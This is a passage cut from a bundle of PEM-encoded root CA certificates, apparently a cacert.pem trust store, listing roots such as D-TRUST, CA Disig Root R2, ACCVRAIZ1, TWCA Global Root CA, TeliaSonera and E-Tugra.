MIIEAzCCAuugAwIBAgIQVID5oHPtPwBMyonY43HmSjANBgkqhkiG9w0BAQUFADB1MQswCQYDVQQG
EwJFRTEiMCAGA1UECgwZQVMgU2VydGlmaXRzZWVyaW1pc2tlc2t1czEoMCYGA1UEAwwfRUUgQ2Vy
dGlmaWNhdGlvbiBDZW50cmUgUm9vdCBDQTEYMBYGCSqGSIb3DQEJARYJcGtpQHNrLmVlMCIYDzIw
MTAxMDMwMTAxMDMwWhgPMjAzMDEyMTcyMzU5NTlaMHUxCzAJBgNVBAYTAkVFMSIwIAYDVQQKDBlB
UyBTZXJ0aWZpdHNlZXJpbWlza2Vza3VzMSgwJgYDVQQDDB9FRSBDZXJ0aWZpY2F0aW9uIENlbnRy
ZSBSb290IENBMRgwFgYJKoZIhvcNAQkBFglwa2lAc2suZWUwggEiMA0GCSqGSIb3DQEBAQUAA4IB
DwAwggEKAoIBAQDIIMDs4MVLqwd4lfNE7vsLDP90jmG7sWLqI9iroWUyeuuOF0+W2Ap7kaJjbMeM
TC55v6kF/GlclY1i+blw7cNRfdCT5mzrMEvhvH2/UpvObntl8jixwKIy72KyaOBhU8E2lf/slLo2
rpwcpzIP5Xy0xm90/XsY6KxX7QYgSzIwWFv9zajmofxwvI6Sc9uXp3whrj3B9UiHbCe9nyV0gVWw
93X2PaRka9ZP585ArQ/dMtO8ihJTmMmJ+xAdTX7Nfh9WDSFwhfYggx/2uh8Ej+p3iDXE/+pOoYtN
P2MbRMNE1CV2yreN1x5KZmTNXMWcg+HCCIia7E6j8T4cLNlsHaFLAgMBAAGjgYowgYcwDwYDVR0T
AQH/BAUwAwEB/zAOBgNVHQ8BAf8EBAMCAQYwHQYDVR0OBBYEFBLyWj7qVhy/zQas8fElyalL1BSZ
MEUGA1UdJQQ+MDwGCCsGAQUFBwMCBggrBgEFBQcDAQYIKwYBBQUHAwMGCCsGAQUFBwMEBggrBgEF
BQcDCAYIKwYBBQUHAwkwDQYJKoZIhvcNAQEFBQADggEBAHv25MANqhlHt01Xo/6tu7Fq1Q+e2+Rj
xY6hUFaTlrg4wCQiZrxTFGGVv9DHKpY5P30osxBAIWrEr7BSdxjhlthWXePdNl4dp1BUoMUq5KqM
lIpPnTX/dqQGE5Gion0ARD9V04I8GtVbvFZMIi5GQ4okQC3zErg7cBqklrkar4dBGmoYDQZPxz5u
uSlNDUmJEYcyW+ZLBMjkXOZ0c5RdFpgTlf7727FE5TpwrDdr5rMzcijJs1eg9gIWiAYLtqZLICjU
3j2LrTcFU3T+bsy8QxdxXvnFzBqpYe73dgzzcvRyrc9yAjYHR8/vGVCJYMzpJJUPwssd8m92kMfM
dcGWxZ0=
-----END CERTIFICATE-----

D-TRUST Root Class 3 CA 2 2009
==============================
-----BEGIN CERTIFICATE-----
MIIEMzCCAxugAwIBAgIDCYPzMA0GCSqGSIb3DQEBCwUAME0xCzAJBgNVBAYTAkRFMRUwEwYDVQQK
DAxELVRydXN0IEdtYkgxJzAlBgNVBAMMHkQtVFJVU1QgUm9vdCBDbGFzcyAzIENBIDIgMjAwOTAe
Fw0wOTExMDUwODM1NThaFw0yOTExMDUwODM1NThaME0xCzAJBgNVBAYTAkRFMRUwEwYDVQQKDAxE
LVRydXN0IEdtYkgxJzAlBgNVBAMMHkQtVFJVU1QgUm9vdCBDbGFzcyAzIENBIDIgMjAwOTCCASIw
DQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBANOySs96R+91myP6Oi/WUEWJNTrGa9v+2wBoqOAD
ER03UAifTUpolDWzU9GUY6cgVq/eUXjsKj3zSEhQPgrfRlWLJ23DEE0NkVJD2IfgXU42tSHKXzlA
BF9bfsyjxiupQB7ZNoTWSPOSHjRGICTBpFGOShrvUD9pXRl/RcPHAY9RySPocq60vFYJfxLLHLGv
KZAKyVXMD9O0Gu1HNVpK7ZxzBCHQqr0ME7UAyiZsxGsMlFqVlNpQmvH/pStmMaTJOKDfHR+4CS7z
p+hnUquVH+BGPtikw8paxTGA6Eian5Rp/hnd2HN8gcqW3o7tszIFZYQ05ub9VxC1X3a/L7AQDcUC
AwEAAaOCARowggEWMA8GA1UdEwEB/wQFMAMBAf8wHQYDVR0OBBYEFP3aFMSfMN4hvR5COfyrYyNJ
4PGEMA4GA1UdDwEB/wQEAwIBBjCB0wYDVR0fBIHLMIHIMIGAoH6gfIZ6bGRhcDovL2RpcmVjdG9y
eS5kLXRydXN0Lm5ldC9DTj1ELVRSVVNUJTIwUm9vdCUyMENsYXNzJTIwMyUyMENBJTIwMiUyMDIw
MDksTz1ELVRydXN0JTIwR21iSCxDPURFP2NlcnRpZmljYXRlcmV2b2NhdGlvbmxpc3QwQ6BBoD+G
PWh0dHA6Ly93d3cuZC10cnVzdC5uZXQvY3JsL2QtdHJ1c3Rfcm9vdF9jbGFzc18zX2NhXzJfMjAw
OS5jcmwwDQYJKoZIhvcNAQELBQADggEBAH+X2zDI36ScfSF6gHDOFBJpiBSVYEQBrLLpME+bUMJm
2H6NMLVwMeniacfzcNsgFYbQDfC+rAF1hM5+n02/t2A7nPPKHeJeaNijnZflQGDSNiH+0LS4F9p0
o3/U37CYAqxva2ssJSRyoWXuJVrl5jLn8t+rSfrzkGkj2wTZ51xY/GXUl77M/C4KzCUqNQT4YJEV
dT1B/yMfGchs64JTBKbkTCJNjYy6zltz7GRUUG3RnFX7acM2w4y8PIWmawomDeCTmGCufsYkl4ph
X5GOZpIJhzbNi5stPvZR1FDUWSi9g/LMKHtThm3YJohw1+qRzT65ysCQblrGXnRl11z+o+I=
-----END CERTIFICATE-----

D-TRUST Root Class 3 CA 2 EV 2009
=================================
-----BEGIN CERTIFICATE-----
MIIEQzCCAyugAwIBAgIDCYP0MA0GCSqGSIb3DQEBCwUAMFAxCzAJBgNVBAYTAkRFMRUwEwYDVQQK
DAxELVRydXN0IEdtYkgxKjAoBgNVBAMMIUQtVFJVU1QgUm9vdCBDbGFzcyAzIENBIDIgRVYgMjAw
OTAeFw0wOTExMDUwODUwNDZaFw0yOTExMDUwODUwNDZaMFAxCzAJBgNVBAYTAkRFMRUwEwYDVQQK
DAxELVRydXN0IEdtYkgxKjAoBgNVBAMMIUQtVFJVU1QgUm9vdCBDbGFzcyAzIENBIDIgRVYgMjAw
OTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAJnxhDRwui+3MKCOvXwEz75ivJn9gpfS
egpnljgJ9hBOlSJzmY3aFS3nBfwZcyK3jpgAvDw9rKFs+9Z5JUut8Mxk2og+KbgPCdM03TP1YtHh
zRnp7hhPTFiu4h7WDFsVWtg6uMQYZB7jM7K1iXdODL/ZlGsTl28So/6ZqQTMFexgaDbtCHu39b+T
7WYxg4zGcTSHThfqr4uRjRxWQa4iN1438h3Z0S0NL2lRp75mpoo6Kr3HGrHhFPC+Oh25z1uxav60
sUYgovseO3Dvk5h9jHOW8sXvhXCtKSb8HgQ+HKDYD8tSg2J87otTlZCpV6LqYQXY+U3EJ/pure35
11H3a6UCAwEAAaOCASQwggEgMA8GA1UdEwEB/wQFMAMBAf8wHQYDVR0OBBYEFNOUikxiEyoZLsyv
cop9NteaHNxnMA4GA1UdDwEB/wQEAwIBBjCB3QYDVR0fBIHVMIHSMIGHoIGEoIGBhn9sZGFwOi8v
ZGlyZWN0b3J5LmQtdHJ1c3QubmV0L0NOPUQtVFJVU1QlMjBSb290JTIwQ2xhc3MlMjAzJTIwQ0El
MjAyJTIwRVYlMjAyMDA5LE89RC1UcnVzdCUyMEdtYkgsQz1ERT9jZXJ0aWZpY2F0ZXJldm9jYXRp
b25saXN0MEagRKBChkBodHRwOi8vd3d3LmQtdHJ1c3QubmV0L2NybC9kLXRydXN0X3Jvb3RfY2xh
c3NfM19jYV8yX2V2XzIwMDkuY3JsMA0GCSqGSIb3DQEBCwUAA4IBAQA07XtaPKSUiO8aEXUHL7P+
PPoeUSbrh/Yp3uDx1MYkCenBz1UbtDDZzhr+BlGmFaQt77JLvyAoJUnRpjZ3NOhk31KxEcdzes05
nsKtjHEh8lprr988TlWvsoRlFIm5d8sqMb7Po23Pb0iUMkZv53GMoKaEGTcH8gNFCSuGdXzfX2lX
ANtu2KZyIktQ1HWYVt+3GP9DQ1CuekR78HlR10M9p9OB0/DJT7naxpeG0ILD5EJt/rDiZE4OJudA
NCa1CInXCGNjOCd1HjPqbqjdn5lPdE2BiYBL3ZqXKVwvvoFBuYz/6n1gBp7N1z3TLqMVvKjmJuVv
w9y4AyHqnxbxLFS1
-----END CERTIFICATE-----

CA Disig Root R2
================
-----BEGIN CERTIFICATE-----
MIIFaTCCA1GgAwIBAgIJAJK4iNuwisFjMA0GCSqGSIb3DQEBCwUAMFIxCzAJBgNVBAYTAlNLMRMw
EQYDVQQHEwpCcmF0aXNsYXZhMRMwEQYDVQQKEwpEaXNpZyBhLnMuMRkwFwYDVQQDExBDQSBEaXNp
ZyBSb290IFIyMB4XDTEyMDcxOTA5MTUzMFoXDTQyMDcxOTA5MTUzMFowUjELMAkGA1UEBhMCU0sx
EzARBgNVBAcTCkJyYXRpc2xhdmExEzARBgNVBAoTCkRpc2lnIGEucy4xGTAXBgNVBAMTEENBIERp
c2lnIFJvb3QgUjIwggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQCio8QACdaFXS1tFPbC
w3OeNcJxVX6B+6tGUODBfEl45qt5WDza/3wcn9iXAng+a0EE6UG9vgMsRfYvZNSrXaNHPWSb6Wia
xswbP7q+sos0Ai6YVRn8jG+qX9pMzk0DIaPY0jSTVpbLTAwAFjxfGs3Ix2ymrdMxp7zo5eFm1tL7
A7RBZckQrg4FY8aAamkw/dLukO8NJ9+flXP04SXabBbeQTg06ov80egEFGEtQX6sx3dOy1FU+16S
GBsEWmjGycT6txOgmLcRK7fWV8x8nhfRyyX+hk4kLlYMeE2eARKmK6cBZW58Yh2EhN/qwGu1pSqV
g8NTEQxzHQuyRpDRQjrOQG6Vrf/GlK1ul4SOfW+eioANSW1z4nuSHsPzwfPrLgVv2RvPN3YEyLRa
5Beny912H9AZdugsBbPWnDTYltxhh5EF5EQIM8HauQhl1K6yNg3ruji6DOWbnuuNZt2Zz9aJQfYE
koopKW1rOhzndX0CcQ7zwOe9yxndnWCywmZgtrEE7snmhrmaZkCo5xHtgUUDi/ZnWejBBhG93c+A
Ak9lQHhcR1DIm+YfgXvkRKhbhZri3lrVx/k6RGZL5DJUfORsnLMOPReisjQS1n6yqEm70XooQL6i
Fh/f5DcfEXP7kAplQ6INfPgGAVUzfbANuPT1rqVCV3w2EYx7XsQDnYx5nQIDAQABo0IwQDAPBgNV
HRMBAf8EBTADAQH/MA4GA1UdDwEB/wQEAwIBBjAdBgNVHQ4EFgQUtZn4r7CU9eMg1gqtzk5WpC5u
Qu0wDQYJKoZIhvcNAQELBQADggIBACYGXnDnZTPIgm7ZnBc6G3pmsgH2eDtpXi/q/075KMOYKmFM
tCQSin1tERT3nLXK5ryeJ45MGcipvXrA1zYObYVybqjGom32+nNjf7xueQgcnYqfGopTpti72TVV
sRHFqQOzVju5hJMiXn7B9hJSi+osZ7z+Nkz1uM/Rs0mSO9MpDpkblvdhuDvEK7Z4bLQjb/D907Je
dR+Zlais9trhxTF7+9FGs9K8Z7RiVLoJ92Owk6Ka+elSLotgEqv89WBW7xBci8QaQtyDW2QOy7W8
1k/BfDxujRNt+3vrMNDcTa/F1balTFtxyegxvug4BkihGuLq0t4SOVga/4AOgnXmt8kHbA7v/zjx
mHHEt38OFdAlab0inSvtBfZGR6ztwPDUO+Ls7pZbkBNOHlY667DvlruWIxG68kOGdGSVyCh13x01
utI3gzhTODY7z2zp+WsO0PsE6E9312UBeIYMej4hYvF/Y3EMyZ9E26gnonW+boE+18DrG5gPcFw0
sorMwIUY6256s/daoQe/qUKS82Ail+QUoQebTnbAjn39pCXHR+3/H3OszMOl6W8KjptlwlCFtaOg
UxLMVYdh84GuEEZhvUQhuMI9dM9+JDX6HAcOmz0iyu8xL4ysEr3vQCj8KWefshNPZiTEUxnpHikV
7+ZtsH8tZ/3zbBt1RqPlShfppNcL
-----END CERTIFICATE-----

ACCVRAIZ1
=========
-----BEGIN CERTIFICATE-----
MIIH0zCCBbugAwIBAgIIXsO3pkN/pOAwDQYJKoZIhvcNAQEFBQAwQjESMBAGA1UEAwwJQUNDVlJB
SVoxMRAwDgYDVQQLDAdQS0lBQ0NWMQ0wCwYDVQQKDARBQ0NWMQswCQYDVQQGEwJFUzAeFw0xMTA1
MDUwOTM3MzdaFw0zMDEyMzEwOTM3MzdaMEIxEjAQBgNVBAMMCUFDQ1ZSQUlaMTEQMA4GA1UECwwH
UEtJQUNDVjENMAsGA1UECgwEQUNDVjELMAkGA1UEBhMCRVMwggIiMA0GCSqGSIb3DQEBAQUAA4IC
DwAwggIKAoICAQCbqau/YUqXry+XZpp0X9DZlv3P4uRm7x8fRzPCRKPfmt4ftVTdFXxpNRFvu8gM
jmoYHtiP2Ra8EEg2XPBjs5BaXCQ316PWywlxufEBcoSwfdtNgM3802/J+Nq2DoLSRYWoG2ioPej0
RGy9ocLLA76MPhMAhN9KSMDjIgro6TenGEyxCQ0jVn8ETdkXhBilyNpAlHPrzg5XPAOBOp0KoVdD
aaxXbXmQeOW1tDvYvEyNKKGno6e6Ak4l0Squ7a4DIrhrIA8wKFSVf+DuzgpmndFALW4ir50awQUZ
0m/A8p/4e7MCQvtQqR0tkw8jq8bBD5L/0KIV9VMJcRz/RROE5iZe+OCIHAr8Fraocwa48GOEAqDG
WuzndN9wrqODJerWx5eHk6fGioozl2A3ED6XPm4pFdahD9GILBKfb6qkxkLrQaLjlUPTAYVtjrs7
8yM2x/474KElB0iryYl0/wiPgL/AlmXz7uxLaL2diMMxs0Dx6M/2OLuc5NF/1OVYm3z61PMOm3WR
5LpSLhl+0fXNWhn8ugb2+1KoS5kE3fj5tItQo05iifCHJPqDQsGH+tUtKSpacXpkatcnYGMN285J
9Y0fkIkyF/hzQ7jSWpOGYdbhdQrqeWZ2iE9x6wQl1gpaepPluUsXQA+xtrn13k/c4LOsOxFwYIRK
Q26ZIMApcQrAZQIDAQABo4ICyzCCAscwfQYIKwYBBQUHAQEEcTBvMEwGCCsGAQUFBzAChkBodHRw
Oi8vd3d3LmFjY3YuZXMvZmlsZWFkbWluL0FyY2hpdm9zL2NlcnRpZmljYWRvcy9yYWl6YWNjdjEu
Y3J0MB8GCCsGAQUFBzABhhNodHRwOi8vb2NzcC5hY2N2LmVzMB0GA1UdDgQWBBTSh7Tj3zcnk1X2
VuqB5TbMjB4/vTAPBgNVHRMBAf8EBTADAQH/MB8GA1UdIwQYMBaAFNKHtOPfNyeTVfZW6oHlNsyM
Hj+9MIIBcwYDVR0gBIIBajCCAWYwggFiBgRVHSAAMIIBWDCCASIGCCsGAQUFBwICMIIBFB6CARAA
QQB1AHQAbwByAGkAZABhAGQAIABkAGUAIABDAGUAcgB0AGkAZgBpAGMAYQBjAGkA8wBuACAAUgBh
AO0AegAgAGQAZQAgAGwAYQAgAEEAQwBDAFYAIAAoAEEAZwBlAG4AYwBpAGEAIABkAGUAIABUAGUA
YwBuAG8AbABvAGcA7QBhACAAeQAgAEMAZQByAHQAaQBmAGkAYwBhAGMAaQDzAG4AIABFAGwAZQBj
AHQAcgDzAG4AaQBjAGEALAAgAEMASQBGACAAUQA0ADYAMAAxADEANQA2AEUAKQAuACAAQwBQAFMA
IABlAG4AIABoAHQAdABwADoALwAvAHcAdwB3AC4AYQBjAGMAdgAuAGUAczAwBggrBgEFBQcCARYk
aHR0cDovL3d3dy5hY2N2LmVzL2xlZ2lzbGFjaW9uX2MuaHRtMFUGA1UdHwROMEwwSqBIoEaGRGh0
dHA6Ly93d3cuYWNjdi5lcy9maWxlYWRtaW4vQXJjaGl2b3MvY2VydGlmaWNhZG9zL3JhaXphY2N2
MV9kZXIuY3JsMA4GA1UdDwEB/wQEAwIBBjAXBgNVHREEEDAOgQxhY2N2QGFjY3YuZXMwDQYJKoZI
hvcNAQEFBQADggIBAJcxAp/n/UNnSEQU5CmH7UwoZtCPNdpNYbdKl02125DgBS4OxnnQ8pdpD70E
R9m+27Up2pvZrqmZ1dM8MJP1jaGo/AaNRPTKFpV8M9xii6g3+CfYCS0b78gUJyCpZET/LtZ1qmxN
YEAZSUNUY9rizLpm5U9EelvZaoErQNV/+QEnWCzI7UiRfD+mAM/EKXMRNt6GGT6d7hmKG9Ww7Y49
nCrADdg9ZuM8Db3VlFzi4qc1GwQA9j9ajepDvV+JHanBsMyZ4k0ACtrJJ1vnE5Bc5PUzolVt3OAJ
TS+xJlsndQAJxGJ3KQhfnlmstn6tn1QwIgPBHnFk/vk4CpYY3QIUrCPLBhwepH2NDd4nQeit2hW3
sCPdK6jT2iWH7ehVRE2I9DZ+hJp4rPcOVkkO1jMl1oRQQmwgEh0q1b688nCBpHBgvgW1m54ERL5h
I6zppSSMEYCUWqKiuUnSwdzRp+0xESyeGabu4VXhwOrPDYTkF7eifKXeVSUG7szAh1xA2syVP1Xg
Nce4hL60Xc16gwFy7ofmXx2utYXGJt/mwZrpHgJHnyqobalbz+xFd3+YJ5oyXSrjhO7FmGYvliAd
3djDJ9ew+f7Zfc3Qn48LFFhRny+Lwzgt3uiP1o2HpPVWQxaZLPSkVrQ0uGE3ycJYgBugl6H8WY3p
EfbRD0tVNEYqi4Y7
-----END CERTIFICATE-----

TWCA Global Root CA
===================
-----BEGIN CERTIFICATE-----
MIIFQTCCAymgAwIBAgICDL4wDQYJKoZIhvcNAQELBQAwUTELMAkGA1UEBhMCVFcxEjAQBgNVBAoT
CVRBSVdBTi1DQTEQMA4GA1UECxMHUm9vdCBDQTEcMBoGA1UEAxMTVFdDQSBHbG9iYWwgUm9vdCBD
QTAeFw0xMjA2MjcwNjI4MzNaFw0zMDEyMzExNTU5NTlaMFExCzAJBgNVBAYTAlRXMRIwEAYDVQQK
EwlUQUlXQU4tQ0ExEDAOBgNVBAsTB1Jvb3QgQ0ExHDAaBgNVBAMTE1RXQ0EgR2xvYmFsIFJvb3Qg
Q0EwggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQCwBdvI64zEbooh745NnHEKH1Jw7W2C
nJfF10xORUnLQEK1EjRsGcJ0pDFfhQKX7EMzClPSnIyOt7h52yvVavKOZsTuKwEHktSz0ALfUPZV
r2YOy+BHYC8rMjk1Ujoog/h7FsYYuGLWRyWRzvAZEk2tY/XTP3VfKfChMBwqoJimFb3u/Rk28OKR
Q4/6ytYQJ0lM793B8YVwm8rqqFpD/G2Gb3PpN0Wp8DbHzIh1HrtsBv+baz4X7GGqcXzGHaL3SekV
tTzWoWH1EfcFbx39Eb7QMAfCKbAJTibc46KokWofwpFFiFzlmLhxpRUZyXx1EcxwdE8tmx2RRP1W
KKD+u4ZqyPpcC1jcxkt2yKsi2XMPpfRaAok/T54igu6idFMqPVMnaR1sjjIsZAAmY2E2TqNGtz99
sy2sbZCilaLOz9qC5wc0GZbpuCGqKX6mOL6OKUohZnkfs8O1CWfe1tQHRvMq2uYiN2DLgbYPoA/p
yJV/v1WRBXrPPRXAb94JlAGD1zQbzECl8LibZ9WYkTunhHiVJqRaCPgrdLQABDzfuBSO6N+pjWxn
kjMdwLfS7JLIvgm/LCkFbwJrnu+8vyq8W8BQj0FwcYeyTbcEqYSjMq+u7msXi7Kx/mzhkIyIqJdI
zshNy/MGz19qCkKxHh53L46g5pIOBvwFItIm4TFRfTLcDwIDAQABoyMwITAOBgNVHQ8BAf8EBAMC
AQYwDwYDVR0TAQH/BAUwAwEB/zANBgkqhkiG9w0BAQsFAAOCAgEAXzSBdu+WHdXltdkCY4QWwa6g
cFGn90xHNcgL1yg9iXHZqjNB6hQbbCEAwGxCGX6faVsgQt+i0trEfJdLjbDorMjupWkEmQqSpqsn
LhpNgb+E1HAerUf+/UqdM+DyucRFCCEK2mlpc3INvjT+lIutwx4116KD7+U4x6WFH6vPNOw/KP4M
8VeGTslV9xzU2KV9Bnpv1d8Q34FOIWWxtuEXeZVFBs5fzNxGiWNoRI2T9GRwoD2dKAXDOXC4Ynsg
/eTb6QihuJ49CcdP+yz4k3ZB3lLg4VfSnQO8d57+nile98FRYB/e2guyLXW3Q0iT5/Z5xoRdgFlg
lPx4mI88k1HtQJAH32RjJMtOcQWh15QaiDLxInQirqWm2BJpTGCjAu4r7NRjkgtevi92a6O2JryP
A9gK8kxkRr05YuWW6zRjESjMlfGt7+/cgFhI6Uu46mWs6fyAtbXIRfmswZ/ZuepiiI7E8UuDEq3m
i4TWnsLrgxifarsbJGAzcMzs9zLzXNl5fe+epP7JI8Mk7hWSsT2RTyaGvWZzJBPqpK5jwa19hAM8
EHiGG3njxPPyBJUgriOCxLM6AGK/5jYk4Ve6xx6QddVfP5VhK8E7zeWzaGHQRiapIVJpLesux+t3
zqY6tQMzT3bR51xUAV3LePTJDL/PEo4XLSNolOer/qmyKwbQBM0=
-----END CERTIFICATE-----

TeliaSonera Root CA v1
======================
-----BEGIN CERTIFICATE-----
MIIFODCCAyCgAwIBAgIRAJW+FqD3LkbxezmCcvqLzZYwDQYJKoZIhvcNAQEFBQAwNzEUMBIGA1UE
CgwLVGVsaWFTb25lcmExHzAdBgNVBAMMFlRlbGlhU29uZXJhIFJvb3QgQ0EgdjEwHhcNMDcxMDE4
MTIwMDUwWhcNMzIxMDE4MTIwMDUwWjA3MRQwEgYDVQQKDAtUZWxpYVNvbmVyYTEfMB0GA1UEAwwW
VGVsaWFTb25lcmEgUm9vdCBDQSB2MTCCAiIwDQYJKoZIhvcNAQEBBQADggIPADCCAgoCggIBAMK+
6yfwIaPzaSZVfp3FVRaRXP3vIb9TgHot0pGMYzHw7CTww6XScnwQbfQ3t+XmfHnqjLWCi65ItqwA
3GV17CpNX8GH9SBlK4GoRz6JI5UwFpB/6FcHSOcZrr9FZ7E3GwYq/t75rH2D+1665I+XZ75Ljo1k
B1c4VWk0Nj0TSO9P4tNmHqTPGrdeNjPUtAa9GAH9d4RQAEX1jF3oI7x+/jXh7VB7qTCNGdMJjmhn
Xb88lxhTuylixcpecsHHltTbLaC0H2kD7OriUPEMPPCs81Mt8Bz17Ww5OXOAFshSsCPN4D7c3TxH
oLs1iuKYaIu+5b9y7tL6pe0S7fyYGKkmdtwoSxAgHNN/Fnct7W+A90m7UwW7XWjH1Mh1Fj+JWov3
F0fUTPHSiXk+TT2YqGHeOh7S+F4D4MHJHIzTjU3TlTazN19jY5szFPAtJmtTfImMMsJu7D0hADnJ
oWjiUIMusDor8zagrC/kb2HCUQk5PotTubtn2txTuXZZNp1D5SDgPTJghSJRt8czu90VL6R4pgd7
gUY2BIbdeTXHlSw7sKMXNeVzH7RcWe/a6hBle3rQf5+ztCo3O3CLm1u5K7fsslESl1MpWtTwEhDc
TwK7EpIvYtQ/aUN8Ddb8WHUBiJ1YFkveupD/RwGJBmr2X7KQarMCpgKIv7NHfirZ1fpoeDVNAgMB
AAGjPzA9MA8GA1UdEwEB/wQFMAMBAf8wCwYDVR0PBAQDAgEGMB0GA1UdDgQWBBTwj1k4ALP1j5qW
DNXr+nuqF+gTEjANBgkqhkiG9w0BAQUFAAOCAgEAvuRcYk4k9AwI//DTDGjkk0kiP0Qnb7tt3oNm
zqjMDfz1mgbldxSR651Be5kqhOX//CHBXfDkH1e3damhXwIm/9fH907eT/j3HEbAek9ALCI18Bmx
0GtnLLCo4MBANzX2hFxc469CeP6nyQ1Q6g2EdvZR74NTxnr/DlZJLo961gzmJ1TjTQpgcmLNkQfW
pb/ImWvtxBnmq0wROMVvMeJuScg/doAmAyYp4Db29iBT4xdwNBedY2gea+zDTYa4EzAvXUYNR0PV
G6pZDrlcjQZIrXSHX8f8MVRBE+LHIQ6e4B4N4cB7Q4WQxYpYxmUKeFfyxiMPAdkgS94P+5KFdSpc
c41teyWRyu5FrgZLAMzTsVlQ2jqIOylDRl6XK1TOU2+NSueW+r9xDkKLfP0ooNBIytrEgUy7onOT
JsjrDNYmiLbAJM+7vVvrdX3pCI6GMyx5dwlppYn8s3CQh3aP0yK7Qs69cwsgJirQmz1wHiRszYd2
qReWt88NkvuOGKmYSdGe/mBEciG5Ge3C9THxOUiIkCR1VBatzvT4aRRkOfujuLpwQMcnHL/EVlP6
Y2XQ8xwOFvVrhlhNGNTkDY6lnVuR3HYkUD/GKvvZt5y11ubQ2egZixVxSK236thZiNSQvxaz2ems
WWFUyBy6ysHK4bkgTI86k4mloMy/0/Z1pHWWbVY=
-----END CERTIFICATE-----

E-Tugra Certification Authority
===============================
-----BEGIN CERTIFICATE-----
MIIGSzCCBDOgAwIBAgIIamg+nFGby1MwDQYJKoZIhvcNAQELBQAwgbIxCzAJBgNVBAYTAlRSMQ8w
DQYDVQQHDAZBbmthcmExQDA+BgNVBAoMN0UtVHXEn3JhIEVCRyBCaWxpxZ9pbSBUZWtub2xvamls
ZXJpIHZlIEhpem1ldGxlcmkgQS7Fni4xJjAkBgNVBAsMHUUtVHVncmEgU2VydGlmaWthc3lvbiBN
ZXJrZXppMSgwJgYDVQQDDB9FLVR1Z3JhIENlcnRpZmljYXRpb24gQXV0aG9yaXR5MB4XDTEzMDMw
NTEyMDk0OFoXDTIzMDMwMzEyMDk0OFowgbIxCzAJBgNVBAYTAlRSMQ8wDQYDVQQHDAZBbmthcmEx
QDA+BgNVBAoMN0UtVHXEn3JhIEVCRyBCaWxpxZ9pbSBUZWtub2xvamlsZXJpIHZlIEhpem1ldGxl
cmkgQS7Fni4xJjAkBgNVBAsMHUUtVHVncmEgU2VydGlmaWthc3lvbiBNZXJrZXppMSgwJgYDVQQD
DB9FLVR1Z3JhIENlcnRpZmljYXRpb24gQXV0aG9yaXR5MIICIjANBgkqhkiG9w0BAQEFAAOCAg8A
MIICCgKCAgEA4vU/kwVRHoViVF56C/UYB4Oufq9899SKa6VjQzm5S/fDxmSJPZQuVIBSOTkHS0vd
hQd2h8y/L5VMzH2nPbxHD5hw+IyFHnSOkm0bQNGZDbt1bsipa5rAhDGvykPL6ys06I+XawGb1Q5K
CKpbknSFQ9OArqGIW66z6l7LFpp3RMih9lRozt6Plyu6W0ACDGQXwLWTzeHxE2bODHnv0ZEoq1+g
ElIwcxmOj+GMB6LDu0rw6h8VqO4lzKRG+Bsi77MOQ7osJLjFLFzUHPhdZL3Dk14opz8n8Y4e0ypQ
BaNV2cvnOVPAmJ6MVGKLJrD3fY185MaeZkJVgkfnsliNZvcHfC425lAcP9tDJMW/hkd5s3kc91r0
E+xs+D/iWR+V7kI+ua2oMoVJl0b+SzGPWsutdEcf6ZG33ygEIqDUD13ieU/qbIWGvaimzuT6w+Gz
rt48Ue7LE3wBf4QOXVGUnhMMti6lTPk5cDZvlsouDERVxcr6XQKj39ZkjFqzAQqptQpHF//vkUAq
jqFGOjGY5RH8zLtJVor8udBhmm9lbObDyz51Sf6Pp+KJxWfXnUYTTjF2OySznhFlhqt/7x3U+Lzn
rFpct1pHXFXOVbQicVtbC/DP3KBhZOqp12gKY6fgDT+gr9Oq0n7vUaDmUStVkhUXU8u3Zg5mTPj5
dUyQ5xJwx0UCAwEAAaNjMGEwHQYDVR0OBBYEFC7j27JJ0JxUeVz6Jyr+zE7S6E5UMA8GA1UdEwEB
/wQFMAMBAf8wHwYDVR0jBBgwFoAULuPbsknQnFR5XPonKv7MTtLoTlQwDgYDVR0PAQH/BAQDAgEG
MA0GCSqGSIb3DQEBCwUAA4ICAQAFNzr0TbdF4kV1JI+2d1LoHNgQk2Xz8lkGpD4eKexd0dCrfOAK
kEh47U6YA5n+KGCRHTAduGN8qOY1tfrTYXbm1gdLymmasoR6d5NFFxWfJNCYExL/u6Au/U5Mh/jO
XKqYGwXgAEZKgoClM4so3O0409/lPun++1ndYYRP0lSWE2ETPo+Aab6TR7U1Q9Jauz1c77NCR807
VRMGsAnb/WP2OogKmW9+4c4bU2pEZiNRCHu8W1Ki/QY3OEBhj0qWuJA3+GbHeJAAFS6LrVE1Uweo
a2iu+U48BybNCAVwzDk/dr2l02cmAYamU9JgO3xDf1WKvJUawSg5TB9D0pH0clmKuVb8P7Sd2nCc
dlqMQ1DujjByTd//SffGqWfZbawCEeI6FiWnWAjLb1NBnEg4R2gz0dfHj9R0IdTDBZB6/86WiLEV
KV0jq9BgoRJP3vQXzTLlyb/IQ639Lo7xr+L0mPoSHyDYwKcMhcWQ9DstliaxLL5Mq+ux0orJ23gT
Dx4JnW2PAJ8C2sH6H3p6CcRK5ogql5+Ji/03X186zjhZhkuvcQu02PJwT58yE+Owp1fl2tpDy4Q0
8ijE6m30Ku/Ba3ba+367hTzSU8JNvnHhRdH9I2cNE3X7z2VnIp2usAnRCf8dNL/+I5c30jn6PQ0G
C7TbO6Orb1wdtn7os4I07QZcJA==
-----END CERTIFICATE-----

T-TeleSec GlobalRoot Class 2
============================
-----BEGIN CERTIFICATE-----
MIIDwzCCAqugAwIBAgIBATANBgkqhkiG9w0BAQsFADCBgjELMAkGA1UEBhMCREUxKzApBgNVBAoM
IlQtU3lzdGVtcyBFbnRlcnByaXNlIFNlcnZpY2VzIEdtYkgxHzAdBgNVBAsMFlQtU3lzdGVtcyBU
cnVzdCBDZW50ZXIxJTAjBgNVBAMMHFQtVGVsZVNlYyBHbG9iYWxSb290IENsYXNzIDIwHhcNMDgx
MDAxMTA0MDE0WhcNMzMxMDAxMjM1OTU5WjCBgjELMAkGA1UEBhMCREUxKzApBgNVBAoMIlQtU3lz
dGVtcyBFbnRlcnByaXNlIFNlcnZpY2VzIEdtYkgxHzAdBgNVBAsMFlQtU3lzdGVtcyBUcnVzdCBD
ZW50ZXIxJTAjBgNVBAMMHFQtVGVsZVNlYyBHbG9iYWxSb290IENsYXNzIDIwggEiMA0GCSqGSIb3
